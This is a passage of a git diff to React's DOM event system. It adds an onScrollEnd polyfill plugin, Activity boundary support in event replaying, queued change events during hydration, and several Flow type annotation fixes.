@@ -68,6 +70,7 @@ import * as EnterLeaveEventPlugin from './plugins/EnterLeaveEventPlugin';
 import * as SelectEventPlugin from './plugins/SelectEventPlugin';
 import * as SimpleEventPlugin from './plugins/SimpleEventPlugin';
 import * as FormActionEventPlugin from './plugins/FormActionEventPlugin';
+import * as ScrollEndEventPlugin from './plugins/ScrollEndEventPlugin';
 
 import reportGlobalError from 'shared/reportGlobalError';
 
@@ -92,6 +95,9 @@ EnterLeaveEventPlugin.registerEvents();
 ChangeEventPlugin.registerEvents();
 SelectEventPlugin.registerEvents();
 BeforeInputEventPlugin.registerEvents();
+if (enableScrollEndPolyfill) {
+  ScrollEndEventPlugin.registerEvents();
+}
 
 function extractEvents(
   dispatchQueue: DispatchQueue,
@@ -183,6 +189,17 @@ function extractEvents(
       targetContainer,
     );
   }
+  if (enableScrollEndPolyfill) {
+    ScrollEndEventPlugin.extractEvents(
+      dispatchQueue,
+      domEventName,
+      targetInst,
+      nativeEvent,
+      nativeEventTarget,
+      eventSystemFlags,
+      targetContainer,
+    );
+  }
 }
 
 // List of events that need to be individually attached to media elements.
@@ -258,7 +275,7 @@ function processDispatchQueueItemsInOrder(
       if (instance !== previousInstance && event.isPropagationStopped()) {
         return;
       }
-      if (__DEV__ && enableOwnerStacks && instance !== null) {
+      if (__DEV__ && instance !== null) {
         runWithFiberInDEV(
           instance,
           executeDispatch,
@@ -277,7 +294,7 @@ function processDispatchQueueItemsInOrder(
       if (instance !== previousInstance && event.isPropagationStopped()) {
         return;
       }
-      if (__DEV__ && enableOwnerStacks && instance !== null) {
+      if (__DEV__ && instance !== null) {
         runWithFiberInDEV(
           instance,
           executeDispatch,
@@ -390,7 +407,7 @@ export function listenToNativeEventForNonManagedEventTarget(
   isCapturePhaseListener: boolean,
   target: EventTarget,
 ): void {
-  let eventSystemFlags = IS_EVENT_HANDLE_NON_MANAGED_NODE;
+  let eventSystemFlags: number = IS_EVENT_HANDLE_NON_MANAGED_NODE;
   const listenerSet = getEventListenerSet(target);
   const listenerSetKey = getListenerSetKey(
     domEventName,
@@ -558,7 +575,8 @@ function isMatchingRootContainer(
 ): boolean {
   return (
     grandContainer === targetContainer ||
-    (grandContainer.nodeType === COMMENT_NODE &&
+    (!disableCommentsAsDOMContainers &&
+      grandContainer.nodeType === COMMENT_NODE &&
       grandContainer.parentNode === targetContainer)
   );
 }
@@ -809,6 +827,7 @@ export function accumulateSinglePhaseListeners(
 // - BeforeInputEventPlugin
 // - ChangeEventPlugin
 // - SelectEventPlugin
+// - ScrollEndEventPlugin
 // This is because we only process these plugins
 // in the bubble phase, so we need to accumulate two
 // phase event listeners (via emulation).
@@ -844,9 +863,14 @@ export function accumulateTwoPhaseListeners(
         );
       }
     }
+    if (instance.tag === HostRoot) {
+      return listeners;
+    }
     instance = instance.return;
   }
-  return listeners;
+  // If we didn't reach the root it means we're unmounted and shouldn't
+  // dispatch any events on the target.
+  return [];
 }
 
 function getParent(inst: Fiber | null): Fiber | null {
@@ -868,46 +892,6 @@ function getParent(inst: Fiber | null): Fiber | null {
   return null;
 }
 
-/**
- * Return the lowest common ancestor of A and B, or null if they are in
- * different trees.
- */
-function getLowestCommonAncestor(instA: Fiber, instB: Fiber): Fiber | null {
-  let nodeA: null | Fiber = instA;
-  let nodeB: null | Fiber = instB;
-  let depthA = 0;
-  for (let tempA: null | Fiber = nodeA; tempA; tempA = getParent(tempA)) {
-    depthA++;
-  }
-  let depthB = 0;
-  for (let tempB: null | Fiber = nodeB; tempB; tempB = getParent(tempB)) {
-    depthB++;
-  }
-
-  // If A is deeper, crawl up.
-  while (depthA - depthB > 0) {
-    nodeA = getParent(nodeA);
-    depthA--;
-  }
-
-  // If B is deeper, crawl up.
-  while (depthB - depthA > 0) {
-    nodeB = getParent(nodeB);
-    depthB--;
-  }
-
-  // Walk in lockstep until we find a match.
-  let depth = depthA;
-  while (depth--) {
-    if (nodeA === nodeB || (nodeB !== null && nodeA === nodeB.alternate)) {
-      return nodeA;
-    }
-    nodeA = getParent(nodeA);
-    nodeB = getParent(nodeB);
-  }
-  return null;
-}
-
 function accumulateEnterLeaveListenersForEvent(
   dispatchQueue: DispatchQueue,
   event: KnownReactSyntheticEvent,
@@ -969,7 +953,8 @@ export function accumulateEnterLeaveTwoPhaseListeners(
   from: Fiber | null,
   to: Fiber | null,
 ): void {
-  const common = from && to ? getLowestCommonAncestor(from, to) : null;
+  const common =
+    from && to ? getLowestCommonAncestor(from, to, getParent) : null;
 
   if (from !== null) {
     accumulateEnterLeaveListenersForEvent(
diff --git a/packages/react-dom-bindings/src/events/ReactDOMEventListener.js b/packages/react-dom-bindings/src/events/ReactDOMEventListener.js
index 243042ba6fde..0b2fffbcf902 100644
--- a/packages/react-dom-bindings/src/events/ReactDOMEventListener.js
+++ b/packages/react-dom-bindings/src/events/ReactDOMEventListener.js
@@ -10,7 +10,11 @@
 import type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';
 import type {AnyNativeEvent} from '../events/PluginModuleType';
 import type {Fiber, FiberRoot} from 'react-reconciler/src/ReactInternalTypes';
-import type {Container, SuspenseInstance} from '../client/ReactFiberConfigDOM';
+import type {
+  Container,
+  ActivityInstance,
+  SuspenseInstance,
+} from '../client/ReactFiberConfigDOM';
 import type {DOMEventName} from '../events/DOMEventNames';
 
 import {
@@ -22,9 +26,14 @@ import {attemptSynchronousHydration} from 'react-reconciler/src/ReactFiberReconc
 import {
   getNearestMountedFiber,
   getContainerFromFiber,
+  getActivityInstanceFromFiber,
   getSuspenseInstanceFromFiber,
 } from 'react-reconciler/src/ReactFiberTreeReflection';
-import {HostRoot, SuspenseComponent} from 'react-reconciler/src/ReactWorkTags';
+import {
+  HostRoot,
+  ActivityComponent,
+  SuspenseComponent,
+} from 'react-reconciler/src/ReactWorkTags';
 import {type EventSystemFlags, IS_CAPTURE_PHASE} from './EventSystemFlags';
 
 import getEventTarget from './getEventTarget';
@@ -227,18 +236,18 @@ export function dispatchEvent(
 
 export function findInstanceBlockingEvent(
   nativeEvent: AnyNativeEvent,
-): null | Container | SuspenseInstance {
+): null | Container | SuspenseInstance | ActivityInstance {
   const nativeEventTarget = getEventTarget(nativeEvent);
   return findInstanceBlockingTarget(nativeEventTarget);
 }
 
 export let return_targetInst: null | Fiber = null;
 
-// Returns a SuspenseInstance or Container if it's blocked.
+// Returns a SuspenseInstance, ActivityInstance or Container if it's blocked.
 // The return_targetInst field above is conceptually part of the return value.
 export function findInstanceBlockingTarget(
   targetNode: Node,
-): null | Container | SuspenseInstance {
+): null | Container | SuspenseInstance | ActivityInstance {
   // TODO: Warn if _enabled is false.
 
   return_targetInst = null;
@@ -265,6 +274,19 @@ export function findInstanceBlockingTarget(
         // the whole system, dispatch the event without a target.
         // TODO: Warn.
         targetInst = null;
+      } else if (tag === ActivityComponent) {
+        const instance = getActivityInstanceFromFiber(nearestMounted);
+        if (instance !== null) {
+          // Queue the event to be replayed later. Abort dispatching since we
+          // don't want this event dispatched twice through the event system.
+          // TODO: If this is the first discrete event in the queue. Schedule an increased
+          // priority for this boundary.
+          return instance;
+        }
+        // This shouldn't happen, something went wrong but to avoid blocking
+        // the whole system, dispatch the event without a target.
+        // TODO: Warn.
+        targetInst = null;
       } else if (tag === HostRoot) {
         const root: FiberRoot = nearestMounted.stateNode;
         if (isRootDehydrated(root)) {
@@ -319,7 +341,6 @@ export function getEventPriority(domEventName: DOMEventName): EventPriority {
     case 'pointerup':
     case 'ratechange':
     case 'reset':
-    case 'resize':
     case 'seeked':
     case 'submit':
     case 'toggle':
@@ -341,6 +362,7 @@ export function getEventPriority(domEventName: DOMEventName): EventPriority {
     case 'beforeinput':
     case 'blur':
     case 'fullscreenchange':
+    case 'fullscreenerror':
     case 'focus':
     case 'hashchange':
     case 'popstate':
@@ -358,6 +380,7 @@ export function getEventPriority(domEventName: DOMEventName): EventPriority {
     case 'pointermove':
     case 'pointerout':
     case 'pointerover':
+    case 'resize':
     case 'scroll':
     case 'touchmove':
     case 'wheel':
diff --git a/packages/react-dom-bindings/src/events/ReactDOMEventReplaying.js b/packages/react-dom-bindings/src/events/ReactDOMEventReplaying.js
index 52cfb07aaa2d..2763b2fc129a 100644
--- a/packages/react-dom-bindings/src/events/ReactDOMEventReplaying.js
+++ b/packages/react-dom-bindings/src/events/ReactDOMEventReplaying.js
@@ -8,7 +8,11 @@
  */
 
 import type {AnyNativeEvent} from '../events/PluginModuleType';
-import type {Container, SuspenseInstance} from '../client/ReactFiberConfigDOM';
+import type {
+  Container,
+  ActivityInstance,
+  SuspenseInstance,
+} from '../client/ReactFiberConfigDOM';
 import type {DOMEventName} from '../events/DOMEventNames';
 import type {EventSystemFlags} from './EventSystemFlags';
 import type {FiberRoot} from 'react-reconciler/src/ReactInternalTypes';
@@ -21,6 +25,7 @@ import {
 import {
   getNearestMountedFiber,
   getContainerFromFiber,
+  getActivityInstanceFromFiber,
   getSuspenseInstanceFromFiber,
 } from 'react-reconciler/src/ReactFiberTreeReflection';
 import {
@@ -33,7 +38,11 @@ import {
   getClosestInstanceFromNode,
   getFiberCurrentPropsFromNode,
 } from '../client/ReactDOMComponentTree';
-import {HostRoot, SuspenseComponent} from 'react-reconciler/src/ReactWorkTags';
+import {
+  HostRoot,
+  ActivityComponent,
+  SuspenseComponent,
+} from 'react-reconciler/src/ReactWorkTags';
 import {isHigherEventPriority} from 'react-reconciler/src/ReactEventPriorities';
 import {isRootDehydrated} from 'react-reconciler/src/ReactFiberShellHydration';
 import {dispatchReplayedFormAction} from './plugins/FormActionEventPlugin';
@@ -47,16 +56,18 @@ import {
   attemptHydrationAtCurrentPriority,
 } from 'react-reconciler/src/ReactFiberReconciler';
 
+import {enableHydrationChangeEvent} from 'shared/ReactFeatureFlags';
+
 // TODO: Upgrade this definition once we're on a newer version of Flow that
 // has this definition built-in.
-type PointerEvent = Event & {
+type PointerEventType = Event & {
   pointerId: number,
   relatedTarget: EventTarget | null,
   ...
 };
 
 type QueuedReplayableEvent = {
-  blockedOn: null | Container | SuspenseInstance,
+  blockedOn: null | Container | ActivityInstance | SuspenseInstance,
   domEventName: DOMEventName,
   eventSystemFlags: EventSystemFlags,
   nativeEvent: AnyNativeEvent,
@@ -75,8 +86,10 @@ const queuedPointers: Map<number, QueuedReplayableEvent> = new Map();
 const queuedPointerCaptures: Map<number, QueuedReplayableEvent> = new Map();
 // We could consider replaying selectionchange and touchmoves too.
 
+const queuedChangeEventTargets: Array<EventTarget> = [];
+
 type QueuedHydrationTarget = {
-  blockedOn: null | Container | SuspenseInstance,
+  blockedOn: null | Container | ActivityInstance | SuspenseInstance,
   target: Node,
   priority: EventPriority,
 };
@@ -120,7 +133,7 @@ export function isDiscreteEventThatRequiresHydration(
 }
 
 function createQueuedReplayableEvent(
-  blockedOn: null | Container | SuspenseInstance,
+  blockedOn: null | Container | ActivityInstance | SuspenseInstance,
   domEventName: DOMEventName,
   eventSystemFlags: EventSystemFlags,
   targetContainer: EventTarget,
@@ -155,13 +168,13 @@ export function clearIfContinuousEvent(
       break;
     case 'pointerover':
     case 'pointerout': {
-      const pointerId = ((nativeEvent: any): PointerEvent).pointerId;
+      const pointerId = ((nativeEvent: any): PointerEventType).pointerId;
       queuedPointers.delete(pointerId);
       break;
     }
     case 'gotpointercapture':
     case 'lostpointercapture': {
-      const pointerId = ((nativeEvent: any): PointerEvent).pointerId;
+      const pointerId = ((nativeEvent: any): PointerEventType).pointerId;
       queuedPointerCaptures.delete(pointerId);
       break;
     }
@@ -170,7 +183,7 @@ export function clearIfContinuousEvent(
 
 function accumulateOrCreateContinuousQueuedReplayableEvent(
   existingQueuedEvent: null | QueuedReplayableEvent,
-  blockedOn: null | Container | SuspenseInstance,
+  blockedOn: null | Container | ActivityInstance | SuspenseInstance,
   domEventName: DOMEventName,
   eventSystemFlags: EventSystemFlags,
   targetContainer: EventTarget,
@@ -212,7 +225,7 @@ function accumulateOrCreateContinuousQueuedReplayableEvent(
 }
 
 export function queueIfContinuousEvent(
-  blockedOn: null | Container | SuspenseInstance,
+  blockedOn: null | Container | ActivityInstance | SuspenseInstance,
   domEventName: DOMEventName,
   eventSystemFlags: EventSystemFlags,
   targetContainer: EventTarget,
@@ -259,7 +272,7 @@ export function queueIfContinuousEvent(
       return true;
     }
     case 'pointerover': {
-      const pointerEvent = ((nativeEvent: any): PointerEvent);
+      const pointerEvent = ((nativeEvent: any): PointerEventType);
       const pointerId = pointerEvent.pointerId;
       queuedPointers.set(
         pointerId,
@@ -275,7 +288,7 @@ export function queueIfContinuousEvent(
       return true;
     }
     case 'gotpointercapture': {
-      const pointerEvent = ((nativeEvent: any): PointerEvent);
+      const pointerEvent = ((nativeEvent: any): PointerEventType);
       const pointerId = pointerEvent.pointerId;
       queuedPointerCaptures.set(
         pointerId,
@@ -316,6 +329,18 @@ function attemptExplicitHydrationTarget(
             attemptHydrationAtCurrentPriority(nearestMounted);
           });
 
+          return;
+        }
+      } else if (tag === ActivityComponent) {
+        const instance = getActivityInstanceFromFiber(nearestMounted);
+        if (instance !== null) {
+          // We're blocked on hydrating this boundary.
+          // Increase its priority.
+          queuedTarget.blockedOn = instance;
+          attemptHydrationAtPriority(queuedTarget.priority, () => {
+            attemptHydrationAtCurrentPriority(nearestMounted);
+          });
+
           return;
         }
       } else if (tag === HostRoot) {
@@ -400,6 +425,31 @@ function attemptReplayContinuousQueuedEventInMap(
   }
 }
 
+function replayChangeEvent(target: EventTarget): void {
+  // Dispatch a fake "change" event for the input.
+  const element: HTMLInputElement | HTMLTextAreaElement | HTMLSelectElement =
+    (target: any);
+  if (element.nodeName === 'INPUT') {
+    if (element.type === 'checkbox' || element.type === 'radio') {
+      // Checkboxes always fire a click event regardless of how the change was made.
+      const EventCtr =
+        typeof PointerEvent === 'function' ? PointerEvent : Event;
+      target.dispatchEvent(new EventCtr('click', {bubbles: true}));
+      // For checkboxes the input event uses the Event constructor instead of InputEvent.
+      target.dispatchEvent(new Event('input', {bubbles: true}));
+    } else {
+      if (typeof InputEvent === 'function') {
+        target.dispatchEvent(new InputEvent('input', {bubbles: true}));
+      }
+    }
+  } else if (element.nodeName === 'TEXTAREA') {
+    if (typeof InputEvent === 'function') {
+      target.dispatchEvent(new InputEvent('input', {bubbles: true}));
+    }
+  }
+  target.dispatchEvent(new Event('change', {bubbles: true}));
+}
+
 function replayUnblockedEvents() {
   hasScheduledReplayAttempt = false;
   // Replay any continuous events.
@@ -414,20 +464,45 @@ function replayUnblockedEvents() {
   }
   queuedPointers.forEach(attemptReplayContinuousQueuedEventInMap);
   queuedPointerCaptures.forEach(attemptReplayContinuousQueuedEventInMap);
+  if (enableHydrationChangeEvent) {
+    for (let i = 0; i < queuedChangeEventTargets.length; i++) {
+      replayChangeEvent(queuedChangeEventTargets[i]);
+    }
+    queuedChangeEventTargets.length = 0;
+  }
+}
+
+export function flushEventReplaying(): void {
+  // Synchronously flush any event replaying so that it gets observed before
+  // any new updates are applied.
+  if (hasScheduledReplayAttempt) {
+    replayUnblockedEvents();
+  }
+}
+
+export function queueChangeEvent(target: EventTarget): void {
+  if (enableHydrationChangeEvent) {
+    queuedChangeEventTargets.push(target);
+    if (!hasScheduledReplayAttempt) {
+      hasScheduledReplayAttempt = true;
+    }
+  }
 }
 
 function scheduleCallbackIfUnblocked(
   queuedEvent: QueuedReplayableEvent,
-  unblocked: Container | SuspenseInstance,
+  unblocked: Container | SuspenseInstance | ActivityInstance,
 ) {
   if (queuedEvent.blockedOn === unblocked) {
     queuedEvent.blockedOn = null;
     if (!hasScheduledReplayAttempt) {
       hasScheduledReplayAttempt = true;
-      // Schedule a callback to attempt replaying as many events as are
-      // now unblocked. This first might not actually be unblocked yet.
-      // We could check it early to avoid scheduling an unnecessary callback.
-      scheduleCallback(NormalPriority, replayUnblockedEvents);
+      if (!enableHydrationChangeEvent) {
+        // Schedule a callback to attempt replaying as many events as are
+        // now unblocked. This first might not actually be unblocked yet.
+        // We could check it early to avoid scheduling an unnecessary callback.
+        scheduleCallback(NormalPriority, replayUnblockedEvents);
+      }
     }
   }
 }
@@ -494,7 +569,7 @@ function scheduleReplayQueueIfNeeded(formReplayingQueue: FormReplayingQueue) {
 }
 
 export function retryIfBlockedOn(
-  unblocked: Container | SuspenseInstance,
+  unblocked: Container | SuspenseInstance | ActivityInstance,
 ): void {
   if (queuedFocus !== null) {
     scheduleCallbackIfUnblocked(queuedFocus, unblocked);
diff --git a/packages/react-dom-bindings/src/events/SyntheticEvent.js b/packages/react-dom-bindings/src/events/SyntheticEvent.js
index cf2538d71dc1..11ec03091941 100644
--- a/packages/react-dom-bindings/src/events/SyntheticEvent.js
+++ b/packages/react-dom-bindings/src/events/SyntheticEvent.js
@@ -146,7 +146,7 @@ function createSyntheticEvent(Interface: EventInterfaceType) {
  * @interface Event
  * @see http://www.w3.org/TR/DOM-Level-3-Events/
  */
-const EventInterface = {
+const EventInterface: EventInterfaceType = {
   eventPhase: 0,
   bubbles: 0,
   cancelable: 0,
@@ -168,7 +168,7 @@ export const SyntheticUIEvent: $FlowFixMe =
 
 let lastMovementX;
 let lastMovementY;
-let lastMouseEvent;
+let lastMouseEvent: ?{[propName: string]: mixed};
 
 function updateMouseMovementPolyfillState(event: {[propName: string]: mixed}) {
   if (event !== lastMouseEvent) {
@@ -229,6 +229,7 @@ const MouseEventInterface: EventInterfaceType = {
     return lastMovementY;
   },
 };
+
 export const SyntheticMouseEvent: $FlowFixMe =
   createSyntheticEvent(MouseEventInterface);
 
@@ -441,7 +442,7 @@ function getEventModifierState(nativeEvent: {[propName: string]: mixed}) {
  * @interface KeyboardEvent
  * @see http://www.w3.org/TR/DOM-Level-3-Events/
  */
-const KeyboardEventInterface = {
+const KeyboardEventInterface: EventInterfaceType = {
   ...UIEventInterface,
   key: getEventKey,
   code: 0,
@@ -504,7 +505,7 @@ export const SyntheticKeyboardEvent: $FlowFixMe = createSyntheticEvent(
  * @interface PointerEvent
  * @see http://www.w3.org/TR/pointerevents/
  */
-const PointerEventInterface = {
+const PointerEventInterface: EventInterfaceType = {
   ...MouseEventInterface,
   pointerId: 0,
   width: 0,
@@ -521,11 +522,22 @@ export const SyntheticPointerEvent: $FlowFixMe = createSyntheticEvent(
   PointerEventInterface,
 );
 
+/**
+ * @interface SubmitEvent
+ * @see https://html.spec.whatwg.org/multipage/form-control-infrastructure.html#the-submitevent-interface
+ */
+const SubmitEventInterface: EventInterfaceType = {
+  ...EventInterface,
+  submitter: 0,
+};
+export const SyntheticSubmitEvent: $FlowFixMe =
+  createSyntheticEvent(SubmitEventInterface);
+
 /**
  * @interface TouchEvent
  * @see http://www.w3.org/TR/touch-events/
  */
-const TouchEventInterface = {
+const TouchEventInterface: EventInterfaceType = {
   ...UIEventInterface,
   touches: 0,
   targetTouches: 0,
@@ -544,7 +556,7 @@ export const SyntheticTouchEvent: $FlowFixMe =
  * @see http://www.w3.org/TR/2009/WD-css3-transitions-20090320/#transition-events-
  * @see https://developer.mozilla.org/en-US/docs/Web/API/TransitionEvent
  */
-const TransitionEventInterface = {
+const TransitionEventInterface: EventInterfaceType = {
   ...EventInterface,
   propertyName: 0,
   elapsedTime: 0,
@@ -558,29 +570,29 @@ export const SyntheticTransitionEvent: $FlowFixMe = createSyntheticEvent(
  * @interface WheelEvent
  * @see http://www.w3.org/TR/DOM-Level-3-Events/
  */
-const WheelEventInterface = {
+const WheelEventInterface: EventInterfaceType = {
   ...MouseEventInterface,
   deltaX(event: {[propName: string]: mixed}) {
     return 'deltaX' in event
       ? event.deltaX
       : // Fallback to `wheelDeltaX` for Webkit and normalize (right is positive).
-      'wheelDeltaX' in event
-      ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number
-        -event.wheelDeltaX
-      : 0;
+        'wheelDeltaX' in event
+        ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number
+          -event.wheelDeltaX
+        : 0;
   },
   deltaY(event: {[propName: string]: mixed}) {
     return 'deltaY' in event
       ? event.deltaY
       : // Fallback to `wheelDeltaY` for Webkit and normalize (down is positive).
-      'wheelDeltaY' in event
-      ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number
-        -event.wheelDeltaY
-      : // Fallback to `wheelDelta` for IE<9 and normalize (down is positive).
-      'wheelDelta' in event
-      ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number
-        -event.wheelDelta
-      : 0;
+        'wheelDeltaY' in event
+        ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number
+          -event.wheelDeltaY
+        : // Fallback to `wheelDelta` for IE<9 and normalize (down is positive).
+          'wheelDelta' in event
+          ? // $FlowFixMe[unsafe-arithmetic] assuming this is a number
+            -event.wheelDelta
+          : 0;
   },
   deltaZ: 0,
 
@@ -593,7 +605,7 @@ const WheelEventInterface = {
 export const SyntheticWheelEvent: $FlowFixMe =
   createSyntheticEvent(WheelEventInterface);
 
-const ToggleEventInterface = {
+const ToggleEventInterface: EventInterfaceType = {
   ...EventInterface,
   newState: 0,
   oldState: 0,
diff --git a/packages/react-dom-bindings/src/events/getListener.js b/packages/react-dom-bindings/src/events/getListener.js
index 68ab23e21947..d6c7bab6d01c 100644
--- a/packages/react-dom-bindings/src/events/getListener.js
+++ b/packages/react-dom-bindings/src/events/getListener.js
@@ -62,6 +62,7 @@ export default function getListener(
     // Work in progress.
     return null;
   }
+  // $FlowFixMe[invalid-computed-prop]
   const listener = props[registrationName];
   if (shouldPreventMouseEvent(registrationName, inst.type, props)) {
     return null;
diff --git a/packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js b/packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js
index 496b55e15e79..420d1d118820 100644
--- a/packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js
+++ b/packages/react-dom-bindings/src/events/plugins/FormActionEventPlugin.js
@@ -45,30 +45,6 @@ function coerceFormActionProp(
   }
 }
 
-function createFormDataWithSubmitter(
-  form: HTMLFormElement,
-  submitter: HTMLInputElement | HTMLButtonElement,
-) {
-  // The submitter's value should be included in the FormData.
-  // It should be in the document order in the form.
-  // Since the FormData constructor invokes the formdata event it also
-  // needs to be available before that happens so after construction it's too
-  // late. We use a temporary fake node for the duration of this event.
-  // TODO: FormData takes a second argument that it's the submitter but this
-  // is fairly new so not all browsers support it yet. Switch to that technique
-  // when available.
-  const temp = submitter.ownerDocument.createElement('input');
-  temp.name = submitter.name;
-  temp.value = submitter.value;
-  if (form.id) {
-    temp.setAttribute('form', form.id);
-  }
-  (submitter.parentNode: any).insertBefore(temp, submitter);
-  const formData = new FormData(form);
-  (temp.parentNode: any).removeChild(temp);
-  return formData;
-}
-
 /**
  * This plugin invokes action functions on forms, inputs and buttons if
  * the form doesn't prevent default.
@@ -129,9 +105,7 @@ function extractEvents(
       if (didCurrentEventScheduleTransition()) {
         // We're going to set the pending form status, but because the submission
         // was prevented, we should not fire the action function.
-        const formData = submitter
-          ? createFormDataWithSubmitter(form, submitter)
-          : new FormData(form);
+        const formData = new FormData(form, submitter);
         const pendingState: FormStatus = {
           pending: true,
           data: formData,
@@ -160,9 +134,7 @@ function extractEvents(
       event.preventDefault();
 
       // Dispatch the action and set a pending form status.
-      const formData = submitter
-        ? createFormDataWithSubmitter(form, submitter)
-        : new FormData(form);
+      const formData = new FormData(form, submitter);
       const pendingState: FormStatus = {
         pending: true,
         data: formData,
diff --git a/packages/react-dom-bindings/src/events/plugins/ScrollEndEventPlugin.js b/packages/react-dom-bindings/src/events/plugins/ScrollEndEventPlugin.js
new file mode 100644
index 000000000000..6bb1c68ab558
--- /dev/null
+++ b/packages/react-dom-bindings/src/events/plugins/ScrollEndEventPlugin.js
@@ -0,0 +1,212 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+import type {AnyNativeEvent} from '../PluginModuleType';
+import type {DOMEventName} from '../DOMEventNames';
+import type {DispatchQueue} from '../DOMPluginEventSystem';
+import type {EventSystemFlags} from '../EventSystemFlags';
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {ReactSyntheticEvent} from '../ReactSyntheticEventType';
+
+import {registerTwoPhaseEvent} from '../EventRegistry';
+import {SyntheticUIEvent} from '../SyntheticEvent';
+
+import {canUseDOM} from 'shared/ExecutionEnvironment';
+import isEventSupported from '../isEventSupported';
+
+import {IS_CAPTURE_PHASE} from '../EventSystemFlags';
+
+import {batchedUpdates} from '../ReactDOMUpdateBatching';
+import {
+  processDispatchQueue,
+  accumulateSinglePhaseListeners,
+  accumulateTwoPhaseListeners,
+} from '../DOMPluginEventSystem';
+
+import {
+  getScrollEndTimer,
+  setScrollEndTimer,
+  clearScrollEndTimer,
+} from '../../client/ReactDOMComponentTree';
+
+import {enableScrollEndPolyfill} from 'shared/ReactFeatureFlags';
+
+const isScrollEndEventSupported =
+  enableScrollEndPolyfill && canUseDOM && isEventSupported('scrollend');
+
+let isTouchStarted = false;
+let isMouseDown = false;
+
+function registerEvents() {
+  registerTwoPhaseEvent('onScrollEnd', [
+    'scroll',
+    'scrollend',
+    'touchstart',
+    'touchcancel',
+    'touchend',
+    'mousedown',
+    'mouseup',
+  ]);
+}
+
+function manualDispatchScrollEndEvent(
+  inst: Fiber,
+  nativeEvent: AnyNativeEvent,
+  target: EventTarget,
+) {
+  const dispatchQueue: DispatchQueue = [];
+  const listeners = accumulateTwoPhaseListeners(inst, 'onScrollEnd');
+  if (listeners.length > 0) {
+    const event: ReactSyntheticEvent = new SyntheticUIEvent(
+      'onScrollEnd',
+      'scrollend',
+      null,
+      nativeEvent, // This will be the "scroll" event.
+      target,
+    );
+    dispatchQueue.push({event, listeners});
+  }
+  batchedUpdates(runEventInBatch, dispatchQueue);
+}
+
+function runEventInBatch(dispatchQueue: DispatchQueue) {
+  processDispatchQueue(dispatchQueue, 0);
+}
+
+function fireScrollEnd(
+  targetInst: Fiber,
+  nativeEvent: AnyNativeEvent,
+  nativeEventTarget: EventTarget,
+): void {
+  clearScrollEndTimer(nativeEventTarget);
+  if (isMouseDown || isTouchStarted) {
+    // If mouse or touch is down, try again later in case this is due to having an
+    // active scroll but it's not currently moving.
+    debounceScrollEnd(targetInst, nativeEvent, nativeEventTarget);
+    return;
+  }
+  manualDispatchScrollEndEvent(targetInst, nativeEvent, nativeEventTarget);
+}
+
+// When scrolling slows down the frequency of new scroll events can be quite low.
+// This timeout seems high enough to cover those cases but short enough to not
+// fire the event way too late.
+const DEBOUNCE_TIMEOUT = 200;
+
+function debounceScrollEnd(
+  targetInst: null | Fiber,
+  nativeEvent: AnyNativeEvent,
+  nativeEventTarget: EventTarget,
+) {
+  const existingTimer = getScrollEndTimer(nativeEventTarget);
+  if (existingTimer != null) {
+    clearTimeout(existingTimer);
+  }
+  if (targetInst !== null) {
+    const newTimer = setTimeout(
+      fireScrollEnd.bind(null, targetInst, nativeEvent, nativeEventTarget),
+      DEBOUNCE_TIMEOUT,
+    );
+    setScrollEndTimer(nativeEventTarget, newTimer);
+  }
+}
+
+/**
+ * This plugin creates an `onScrollEnd` event polyfill when the native one
+ * is not available.
+ */
+function extractEvents(
+  dispatchQueue: DispatchQueue,
+  domEventName: DOMEventName,
+  targetInst: null | Fiber,
+  nativeEvent: AnyNativeEvent,
+  nativeEventTarget: null | EventTarget,
+  eventSystemFlags: EventSystemFlags,
+  targetContainer: null | EventTarget,
+) {
+  if (!enableScrollEndPolyfill) {
+    return;
+  }
+
+  const inCapturePhase = (eventSystemFlags & IS_CAPTURE_PHASE) !== 0;
+
+  if (domEventName !== 'scrollend') {
+    if (!isScrollEndEventSupported && inCapturePhase) {
+      switch (domEventName) {
+        case 'scroll': {
+          if (nativeEventTarget !== null) {
+            debounceScrollEnd(targetInst, nativeEvent, nativeEventTarget);
+          }
+          break;
+        }
+        case 'touchstart': {
+          isTouchStarted = true;
+          break;
+        }
+        case 'touchcancel':
+        case 'touchend': {
+          // Note we cannot use pointer events for this because they get
+          // cancelled when native scrolling takes control.
+          isTouchStarted = false;
+          break;
+        }
+        case 'mousedown': {
+          isMouseDown = true;
+          break;
+        }
+        case 'mouseup': {
+          isMouseDown = false;
+          break;
+        }
+      }
+    }
+    return;
+  }
+
+  if (!isScrollEndEventSupported && nativeEventTarget !== null) {
+    const existingTimer = getScrollEndTimer(nativeEventTarget);
+    if (existingTimer != null) {
+      // If we do get a native scrollend event fired, we cancel the polyfill.
+      // This could happen if our feature detection is broken or if there's another
+      // polyfill calling dispatchEvent to fire it before we fire ours.
+      clearTimeout(existingTimer);
+      clearScrollEndTimer(nativeEventTarget);
+    } else {
+      // If we didn't receive a 'scroll' event first, we ignore this event to avoid
+      // double firing. Such as if we fired our onScrollEnd polyfill and then
+      // we also observed a native one afterwards.
+      return;
+    }
+  }
+
+  // In React onScrollEnd doesn't bubble.
+  const accumulateTargetOnly = !inCapturePhase;
+
+  const listeners = accumulateSinglePhaseListeners(
+    targetInst,
+    'onScrollEnd',
+    'scrollend',
+    inCapturePhase,
+    accumulateTargetOnly,
+    nativeEvent,
+  );
+
+  if (listeners.length > 0) {
+    // Intentionally create event lazily.
+    const event: ReactSyntheticEvent = new SyntheticUIEvent(
+      'onScrollEnd',
+      'scrollend',
+      null,
+      nativeEvent,
+      nativeEventTarget,
+    );
+    dispatchQueue.push({event, listeners});
+  }
+}
+
+export {registerEvents, extractEvents};
diff --git a/packages/react-dom-bindings/src/events/plugins/SelectEventPlugin.js b/packages/react-dom-bindings/src/events/plugins/SelectEventPlugin.js
index 1a54ba1a0a52..ce6114257fa3 100644
--- a/packages/react-dom-bindings/src/events/plugins/SelectEventPlugin.js
